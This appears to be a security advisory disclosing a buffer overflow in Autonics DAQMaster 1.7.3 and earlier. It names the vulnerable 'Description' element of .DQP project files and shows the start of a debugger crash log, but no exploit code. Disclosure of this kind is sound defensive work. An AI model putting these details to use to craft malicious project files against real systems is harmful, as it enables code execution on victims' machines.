? Autonics DAQMaster 1.7.3 DQP Parsing Buffer Overflow Code Execution Vendor: Autonics Corporation Product web page: https://www.autonics.com Affected version: 1.7.3 (build 2454) 1.7.0 (build 2333) 1.5.0 (build 2117) Summary: DAQMaster is comprehensive device management program that can be used with Autonics thermometers, panel meters, pulse meters, and counters, etc and with Konics recorders, indicators. DAQMaster provides GUI control for easy and convenient management of parameters and multiple device data monitoring. Desc: The vulnerability is caused due to a boundary error in the processing of a project file, which can be exploited to cause a buffer overflow when a user opens e.g. a specially crafted .DQP project file with a large array of bytes inserted in the 'Description' element. Successful exploitation could allow execution of arbitrary code on the affected machine. --------------------------------------------------------------------- (ee8.1ee8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
